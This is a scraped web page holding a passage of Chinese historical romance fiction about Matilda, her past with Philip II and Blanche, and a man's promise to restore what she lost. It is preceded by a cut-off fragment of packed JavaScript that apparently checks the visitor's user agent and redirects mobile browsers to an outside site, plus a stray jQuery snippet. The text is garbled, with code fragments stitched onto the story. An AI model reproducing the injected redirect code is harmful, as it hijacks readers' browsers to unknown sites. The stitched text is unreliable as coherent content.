0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16187014|180785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 英格兰,夜深人静的时候,他们仍然不可避免地回忆起腓力二世,直到菲利普死前他还在折磨着他,“......再之后,他让他做了英格兰国王,作为他对儿子的补偿,他一直想要和我结婚,让一切回到正轨,他认为是他的失察才导致了我的出逃,以及后来的事,可他从没有做错什么,即便我知道后来我可能遇到什么,我也没有后悔过从巴黎逃走。” 因为她不能真的被所谓忠诚和顺从的信条规训,不能眼睁睁看着父祖的伟业被卡佩王朝一点点湮灭,她在巴黎所得到的一切优待都来源于她的血统和身份尚有价值,一旦她意识到这一点,她就不能拿这份血统去换麻木的、被驯服的尊贵生活,那样的人生和行尸走肉无异。 这样的信念在布兰奇眼中是不合时宜的忤逆,但却是她存在的价值,而这正是她们之间不可调和的矛盾,从情感到利益都是如此。她说她很感激他,他给了她新的人生,可这样的人生和她最初期待的人生是一致的吗,她确实不再需要对法国王室屈膝,可她想要的仅此而已吗? “我会帮你拿回你曾经渴望的一切。”他忽然说,他低头望着她,浅绿色的眼睛在玫瑰花窗下也像宝石一样折射出绚丽的色泽,“你就当是......补偿吧,我曾经在无意中伤害过你,或许你认为那件事与我无关,但既然我已经知道了,我就不可能无视,我想要给你你真正想要的。”他微微一哽,再次认真道,“给我这个机会,好吗?” 玛蒂尔达愣了愣,而后轻轻点了点头,他抱住她,将头埋在她颈窝。 他不是因为想要补偿才这样做,而真正的原因,他们心知肚明,却都没有说。